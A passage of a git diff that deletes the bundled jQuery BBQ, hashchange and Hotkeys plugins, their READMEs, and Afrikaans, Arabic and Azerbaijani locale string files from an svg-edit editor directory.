-(function($,p){var i,m=Array.prototype.slice,r=decodeURIComponent,a=$.param,c,l,v,b=$.bbq=$.bbq||{},q,u,j,e=$.event.special,d="hashchange",A="querystring",D="fragment",y="elemUrlAttr",g="location",k="href",t="src",x=/^.*\?|#.*$/g,w=/^.*\#/,h,C={};function E(F){return typeof F==="string"}function B(G){var F=m.call(arguments,1);return function(){return G.apply(this,F.concat(m.call(arguments)))}}function n(F){return F.replace(/^[^#]*#?(.*)$/,"$1")}function o(F){return F.replace(/(?:^[^?#]*\?([^#]*).*$)?.*/,"$1")}function f(H,M,F,I,G){var O,L,K,N,J;if(I!==i){K=F.match(H?/^([^#]*)\#?(.*)$/:/^([^#?]*)\??([^#]*)(#?.*)/);J=K[3]||"";if(G===2&&E(I)){L=I.replace(H?w:x,"")}else{N=l(K[2]);I=E(I)?l[H?D:A](I):I;L=G===2?I:G===1?$.extend({},I,N):$.extend({},N,I);L=a(L);if(H){L=L.replace(h,r)}}O=K[1]+(H?"#":L||!K[1]?"?":"")+L+J}else{O=M(F!==i?F:p[g][k])}return O}a[A]=B(f,0,o);a[D]=c=B(f,1,n);c.noEscape=function(G){G=G||"";var F=$.map(G.split(""),encodeURIComponent);h=new RegExp(F.join("|"),"g")};c.noEscape(",/");$.deparam=l=function(I,F){var H={},G={"true":!0,"false":!1,"null":null};$.each(I.replace(/\+/g," ").split("&"),function(L,Q){var K=Q.split("="),P=r(K[0]),J,O=H,M=0,R=P.split("]["),N=R.length-1;if(/\[/.test(R[0])&&/\]$/.test(R[N])){R[N]=R[N].replace(/\]$/,"");R=R.shift().split("[").concat(R);N=R.length-1}else{N=0}if(K.length===2){J=r(K[1]);if(F){J=J&&!isNaN(J)?+J:J==="undefined"?i:G[J]!==i?G[J]:J}if(N){for(;M<=N;M++){P=R[M]===""?O.length:R[M];O=O[P]=M<N?O[P]||(R[M+1]&&isNaN(R[M+1])?{}:[]):J}}else{if($.isArray(H[P])){H[P].push(J)}else{if(H[P]!==i){H[P]=[H[P],J]}else{H[P]=J}}}}else{if(P){H[P]=F?i:""}}});return H};function z(H,F,G){if(F===i||typeof F==="boolean"){G=F;F=a[H?D:A]()}else{F=E(F)?F.replace(H?w:x,""):F}return l(F,G)}l[A]=B(z,0);l[D]=v=B(z,1);$[y]||($[y]=function(F){return $.extend(C,F)})({a:k,base:k,iframe:t,img:t,input:t,form:"action",link:k,script:t});j=$[y];function s(I,G,H,F){if(!E(H)&&typeof H!=="object"){F=H;H=G;G=i}return this.each(function(){var L=$(this),J=G||j()[(this.nodeName||"").toLowerCase()]||"",K=J&&L.attr(J)||"";L.attr(J,a[I](K,H,F))})}$.fn[A]=B(s,A);$.fn[D]=B(s,D);b.pushState=q=function(I,F){if(E(I)&&/^#/.test(I)&&F===i){F=2}var H=I!==i,G=c(p[g][k],H?I:{},H?F:2);p[g][k]=G+(/#/.test(G)?"":"#")};b.getState=u=function(F,G){return F===i||typeof F==="boolean"?v(F):v(G)[F]};b.removeState=function(F){var G={};if(F!==i){G=u();$.each($.isArray(F)?F:arguments,function(I,H){delete G[H]})}q(G,2)};e[d]=$.extend(e[d],{add:function(F){var H;function G(J){var I=J[D]=c();J.getState=function(K,L){return K===i||typeof K==="boolean"?l(I,K):l(I,L)[K]};H.apply(this,arguments)}if($.isFunction(F)){H=F;return G}else{H=F.handler;F.handler=G}}})})(jQuery,this);
-/*
- * jQuery hashchange event - v1.2 - 2/11/2010
- * http://benalman.com/projects/jquery-hashchange-plugin/
- * 
- * Copyright (c) 2010 "Cowboy" Ben Alman
- * Dual licensed under the MIT and GPL licenses.
- * http://benalman.com/about/license/
- */
-(function($,i,b){var j,k=$.event.special,c="location",d="hashchange",l="href",f=$.browser,g=document.documentMode,h=f.msie&&(g===b||g<8),e="on"+d in i&&!h;function a(m){m=m||i[c][l];return m.replace(/^[^#]*#?(.*)$/,"$1")}$[d+"Delay"]=100;k[d]=$.extend(k[d],{setup:function(){if(e){return false}$(j.start)},teardown:function(){if(e){return false}$(j.stop)}});j=(function(){var m={},r,n,o,q;function p(){o=q=function(s){return s};if(h){n=$('<iframe src="javascript:0"/>').hide().insertAfter("body")[0].contentWindow;q=function(){return a(n.document[c][l])};o=function(u,s){if(u!==s){var t=n.document;t.open().close();t[c].hash="#"+u}};o(a())}}m.start=function(){if(r){return}var t=a();o||p();(function s(){var v=a(),u=q(t);if(v!==t){o(t=v,u);$(i).trigger(d)}else{if(u!==t){i[c][l]=i[c][l].replace(/#.*/,"")+"#"+u}}r=setTimeout(s,$[d+"Delay"])})()};m.stop=function(){if(!n){r&&clearTimeout(r);r=0}};return m})()})(jQuery,this);
\ No newline at end of file
diff --git a/public/svg-edit/editor/js-hotkeys/README.md b/public/svg-edit/editor/js-hotkeys/README.md
deleted file mode 100644
index 696e9894..00000000
--- a/public/svg-edit/editor/js-hotkeys/README.md
+++ /dev/null
@@ -1,45 +0,0 @@
-#About
-**jQuery Hotkeys** is a plug-in that lets you easily add and remove handlers for keyboard events anywhere in your code supporting almost any key combination.  
-
-This plugin is based off of the plugin by Tzury Bar Yochay: [jQuery.hotkeys](http://github.com/tzuryby/hotkeys)
-
-The syntax is as follows:
-
-    $(expression).bind(types, keys, handler);
-    $(expression).unbind(types, handler);
-    
-    $(document).bind('keydown', 'ctrl+a', fn);
-    
-    // e.g. replace '$' sign with 'EUR'
-    $('input.foo').bind('keyup', '$', function(){
-      this.value = this.value.replace('$', 'EUR');
-    });
-
-## Types
-Supported types are `'keydown'`, `'keyup'` and `'keypress'`
-
-## Notes
-
-If you want to use more than one modifiers (e.g. alt+ctrl+z) you should define them by an alphabetical order e.g. alt+ctrl+shift
-
-Hotkeys aren't tracked if you're inside of an input element (unless you explicitly bind the hotkey directly to the input). This helps to avoid conflict with normal user typing.
-
-## jQuery Compatibility
-
-Works with jQuery 1.4.2 and newer.
-
-It known to be working with all the major browsers on all available platforms (Win/Mac/Linux)
-
- * IE 6/7/8
- * FF 1.5/2/3
- * Opera-9
- * Safari-3
- * Chrome-0.2
-
-### Addendum
-
-Firefox is the most liberal one in the manner of letting you capture all short-cuts even those that are built-in in the browser such as `Ctrl-t` for new tab, or `Ctrl-a` for selecting all text. You can always bubble them up to the browser by returning `true` in your handler.
-
-Others, (IE) either let you handle built-in short-cuts, but will add their functionality after your code has executed. Or (Opera/Safari) will *not* pass those events to the DOM at all.
-
-*So, if you bind `Ctrl-Q` or `Alt-F4` and your Safari/Opera window is closed don't be surprised.*
\ No newline at end of file
diff --git a/public/svg-edit/editor/js-hotkeys/jquery.hotkeys.min.js b/public/svg-edit/editor/js-hotkeys/jquery.hotkeys.min.js
deleted file mode 100644
index 15e6fe30..00000000
--- a/public/svg-edit/editor/js-hotkeys/jquery.hotkeys.min.js
+++ /dev/null
@@ -1,15 +0,0 @@
-/*
- * jQuery Hotkeys Plugin
- * Copyright 2010, John Resig
- * Dual licensed under the MIT or GPL Version 2 licenses.
- *
- * http://github.com/jeresig/jquery.hotkeys
- *
- * Based upon the plugin by Tzury Bar Yochay:
- * http://github.com/tzuryby/hotkeys
- *
- * Original idea by:
- * Binny V A, http://www.openjs.com/scripts/events/keyboard_shortcuts/
-*/
-
-(function(b){b.hotkeys={version:"0.8",specialKeys:{8:"backspace",9:"tab",13:"return",16:"shift",17:"ctrl",18:"alt",19:"pause",20:"capslock",27:"esc",32:"space",33:"pageup",34:"pagedown",35:"end",36:"home",37:"left",38:"up",39:"right",40:"down",45:"insert",46:"del",96:"0",97:"1",98:"2",99:"3",100:"4",101:"5",102:"6",103:"7",104:"8",105:"9",106:"*",107:"+",109:"-",110:".",111:"/",112:"f1",113:"f2",114:"f3",115:"f4",116:"f5",117:"f6",118:"f7",119:"f8",120:"f9",121:"f10",122:"f11",123:"f12",144:"numlock",145:"scroll",191:"/",224:"meta",219:"[",221:"]"},shiftNums:{"`":"~","1":"!","2":"@","3":"#","4":"$","5":"%","6":"^","7":"&","8":"*","9":"(","0":")","-":"_","=":"+",";":": ","'":'"',",":"<",".":">","/":"?","\\":"|"}};function a(d){if(typeof d.data!=="string"){return}var c=d.handler,e=d.data.toLowerCase().split(" ");d.handler=function(n){if(this!==n.target&&(/textarea|select/i.test(n.target.nodeName)||n.target.type==="text")){return}var h=n.type!=="keypress"&&b.hotkeys.specialKeys[n.which],o=String.fromCharCode(n.which).toLowerCase(),k,m="",g={};if(n.altKey&&h!=="alt"){m+="alt+"}if(n.ctrlKey&&h!=="ctrl"){m+="ctrl+"}if(n.metaKey&&!n.ctrlKey&&h!=="meta"){m+="meta+"}if(n.shiftKey&&h!=="shift"){m+="shift+"}if(h){g[m+h]=true}else{g[m+o]=true;g[m+b.hotkeys.shiftNums[o]]=true;if(m==="shift+"){g[b.hotkeys.shiftNums[o]]=true}}for(var j=0,f=e.length;j<f;j++){if(g[e[j]]){return c.apply(this,arguments)}}}}b.each(["keydown","keyup","keypress"],function(){b.event.special[this]={add:a}})})(jQuery);
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/README.txt b/public/svg-edit/editor/locale/README.txt
deleted file mode 100644
index 9d6ac588..00000000
--- a/public/svg-edit/editor/locale/README.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-This directory holds JSON files that translate the UI strings in SVG-edit.
-Initial translations were done by Narendra Sisodiya putting the English
-strings through the Google Translation API. Humans will need to take these
-automated translations and ensure they make sense.
-
-See AUTHORS for the translations credits.
-
-Languages Already Translated By Humans:
-  * lang.cs.js
-  * lang.de.js
-  * lang.en.js
-  * lang.es.js
-  * lang.fr.js
-  * lang.ja.js
-  * lang.nl.js
-  * lang.ro.js
-  * lang.sk.js
diff --git a/public/svg-edit/editor/locale/lang.af.js b/public/svg-edit/editor/locale/lang.af.js
deleted file mode 100644
index 37d8cb2d..00000000
--- a/public/svg-edit/editor/locale/lang.af.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "af",
-	dir : "ltr",
-	common: {
-		"ok": "Spaar",
-		"cancel": "Annuleer",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Klik om te verander vul kleur, verskuiwing klik om &#39;n beroerte kleur verander",
-		"zoom_level": "Change zoom vlak",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Verandering vul kleur",
-		"stroke_color": "Verandering beroerte kleur",
-		"stroke_style": "Verandering beroerte dash styl",
-		"stroke_width": "Verandering beroerte breedte",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Verandering rotasie-hoek",
-		"blur": "Change gaussian blur value",
-		"opacity": "Verander geselekteerde item opaciteit",
-		"circle_cx": "Verandering sirkel se cx koördineer",
-		"circle_cy": "Verandering sirkel se cy koördineer",
-		"circle_r": "Verandering sirkel se radius",
-		"ellipse_cx": "Verandering ellips se cx koördineer",
-		"ellipse_cy": "Verander ellips se cy koördineer",
-		"ellipse_rx": "Verandering ellips se x radius",
-		"ellipse_ry": "Verander ellips se j radius",
-		"line_x1": "Verandering lyn se vertrek x koördinaat",
-		"line_x2": "Verandering lyn se eindig x koördinaat",
-		"line_y1": "Verandering lyn se vertrek y koördinaat",
-		"line_y2": "Verandering lyn se eindig y koördinaat",
-		"rect_height": "Verandering reghoek hoogte",
-		"rect_width": "Verandering reghoek breedte",
-		"corner_radius": "Verandering Rechthoek Corner Radius",
-		"image_width": "Verander prent breedte",
-		"image_height": "Verandering prent hoogte",
-		"image_url": "URL verander",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Verander teks inhoud",
-		"font_family": "Lettertipe verander Familie",
-		"font_size": "Verandering Lettertipe Grootte",
-		"bold": "Vetgedrukte teks",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Verander agtergrondkleur / opaciteit",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Pas na inhoud",
-		"fit_to_all": "Passing tot al inhoud",
-		"fit_to_canvas": "Passing tot doek",
-		"fit_to_layer_content": "Passing tot laag inhoud",
-		"fit_to_sel": "Passing tot seleksie",
-		"align_relative_to": "Align in verhouding tot ...",
-		"relativeTo": "relatief tot:",
-		"bladsy": "bladsy",
-		"largest_object": "grootste voorwerp",
-		"selected_objects": "verkose voorwerpe",
-		"smallest_object": "kleinste voorwerp",
-		"new_doc": "Nuwe Beeld",
-		"open_doc": "Open Beeld",
-		"export_png": "Export as PNG",
-		"save_doc": "Slaan Beeld",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Rig Middel",
-		"align_left": "Links Regterkant",
-		"align_middle": "Align Midde",
-		"align_right": "Lijn regs uit",
-		"align_top": "Align Top",
-		"mode_select": "Select Gereedschap",
-		"mode_fhpath": "Potlood tool",
-		"mode_line": "Lyn Gereedskap",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-hand Rectangle",
-		"mode_ellipse": "Ellips",
-		"mode_circle": "Sirkel",
-		"mode_fhellipse": "Gratis-Hand Ellips",
-		"mode_path": "Poli Gereedskap",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Gereedskap",
-		"mode_image": "Image Gereedskap",
-		"mode_zoom": "Klik op die Gereedskap",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Boontoe",
-		"redo": "Oordoen",
-		"tool_source": "Wysig Bron",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Groep Elemente",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elemente",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Skuif na Bottom",
-		"move_top": "Skuif na bo",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Spaar",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Verwyder Laag",
-		"move_down": "Beweeg afbreek Down",
-		"new": "Nuwe Layer",
-		"rename": "Rename Layer",
-		"move_up": "Beweeg afbreek Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Doek Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Kies gedefinieerde:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.ar.js b/public/svg-edit/editor/locale/lang.ar.js
deleted file mode 100644
index d1076f1e..00000000
--- a/public/svg-edit/editor/locale/lang.ar.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "ar",
-	dir : "ltr",
-	common: {
-		"ok": "حفظ",
-		"cancel": "إلغاء",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "انقر لتغيير لون التعبئة ، تحولا مزدوجا فوق لتغيير لون السكتة الدماغية",
-		"zoom_level": "تغيير مستوى التكبير",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "تغير لون التعبئة",
-		"stroke_color": "تغير لون السكتة الدماغية",
-		"stroke_style": "تغيير نمط السكتة الدماغية اندفاعة",
-		"stroke_width": "تغيير عرض السكتة الدماغية",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "تغيير زاوية الدوران",
-		"blur": "Change gaussian blur value",
-		"opacity": "تغيير مختارة غموض البند",
-		"circle_cx": "دائرة التغيير لتنسيق cx",
-		"circle_cy": "Change circle's cy coordinate",
-		"circle_r": "التغيير في دائرة نصف قطرها",
-		"ellipse_cx": "تغيير شكل البيضاوي cx تنسيق",
-		"ellipse_cy": "تغيير شكل البيضاوي قبرصي تنسيق",
-		"ellipse_rx": "تغيير شكل البيضاوي خ نصف قطرها",
-		"ellipse_ry": "تغيير القطع الناقص في دائرة نصف قطرها ذ",
-		"line_x1": "تغيير الخط لبدء تنسيق خ",
-		"line_x2": "تغيير الخط لانهاء خ تنسيق",
-		"line_y1": "تغيير الخط لبدء تنسيق ذ",
-		"line_y2": "تغيير الخط لإنهاء تنسيق ذ",
-		"rect_height": "تغيير المستطيل الارتفاع",
-		"rect_width": "تغيير عرض المستطيل",
-		"corner_radius": "تغيير مستطيل ركن الشعاع",
-		"image_width": "تغيير صورة العرض",
-		"image_height": "تغيير ارتفاع الصورة",
-		"image_url": "تغيير العنوان",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "تغيير محتويات النص",
-		"font_family": "تغيير الخط الأسرة",
-		"font_size": "تغيير حجم الخط",
-		"bold": "نص جريء",
-		"italic": "مائل نص"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "تغير لون الخلفية / غموض",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "لائقا للمحتوى",
-		"fit_to_all": "يصلح لجميع المحتويات",
-		"fit_to_canvas": "يصلح لوحة زيتية على قماش",
-		"fit_to_layer_content": "يصلح لطبقة المحتوى",
-		"fit_to_sel": "يصلح لاختيار",
-		"align_relative_to": "محاذاة النسبي ل ...",
-		"relativeTo": "بالنسبة إلى:",
-		"الصفحة": "الصفحة",
-		"largest_object": "أكبر كائن",
-		"selected_objects": "انتخب الأجسام",
-		"smallest_object": "أصغر كائن",
-		"new_doc": "صورة جديدة",
-		"open_doc": "فتح الصورة",
-		"export_png": "Export as PNG",
-		"save_doc": "حفظ صورة",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "محاذاة القاع",
-		"align_center": "مركز محاذاة",
-		"align_left": "محاذاة إلى اليسار",
-		"align_middle": "محاذاة الأوسط",
-		"align_right": "محاذاة إلى اليمين",
-		"align_top": "محاذاة الأعلى",
-		"mode_select": "اختر أداة",
-		"mode_fhpath": "أداة قلم رصاص",
-		"mode_line": "خط أداة",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rectangle",
-		"mode_ellipse": "القطع الناقص",
-		"mode_circle": "دائرة",
-		"mode_fhellipse": "اليد الحرة البيضوي",
-		"mode_path": "بولي أداة",
-		"mode_shapelib": "Shape library",
-		"mode_text": "النص أداة",
-		"mode_image": "الصورة أداة",
-		"mode_zoom": "أداة تكبير",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "التراجع",
-		"redo": "إعادته",
-		"tool_source": "عدل المصدر",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "مجموعة عناصر",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "فك تجميع عناصر",
-		"docprops": "خصائص المستند",
-		"imagelib": "Image Library",
-		"move_bottom": "الانتقال إلى أسفل",
-		"move_top": "الانتقال إلى أعلى",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "حفظ",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "حذف طبقة",
-		"move_down": "تحرك لأسفل طبقة",
-		"new": "طبقة جديدة",
-		"rename": "تسمية الطبقة",
-		"move_up": "تحرك لأعلى طبقة",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "حدد سلفا:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.az.js b/public/svg-edit/editor/locale/lang.az.js
deleted file mode 100644
index c4350a29..00000000
--- a/public/svg-edit/editor/locale/lang.az.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "az",
-	dir : "ltr",
-	common: {
-		"ok": "OK",
-		"cancel": "Cancel",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Click to change fill color, shift-click to change stroke color",
-		"zoom_level": "Change zoom level",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Change fill color",
-		"stroke_color": "Change stroke color",
-		"stroke_style": "Change stroke dash style",
-		"stroke_width": "Change stroke width",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Change rotation angle",
-		"blur": "Change gaussian blur value",
-		"opacity": "Change selected item opacity",
-		"circle_cx": "Change circle's cx coordinate",
-		"circle_cy": "Change circle's cy coordinate",
-		"circle_r": "Change circle's radius",
-		"ellipse_cx": "Change ellipse's cx coordinate",
-		"ellipse_cy": "Change ellipse's cy coordinate",
-		"ellipse_rx": "Change ellipse's x radius",
-		"ellipse_ry": "Change ellipse's y radius",
-		"line_x1": "Change line's starting x coordinate",
-		"line_x2": "Change line's ending x coordinate",
-		"line_y1": "Change line's starting y coordinate",
-		"line_y2": "Change line's ending y coordinate",
-		"rect_height": "Change rectangle height",
-		"rect_width": "Change rectangle width",
-		"corner_radius": "Change Rectangle Corner Radius",
-		"image_width": "Change image width",
-		"image_height": "Change image height",
-		"image_url": "Change URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
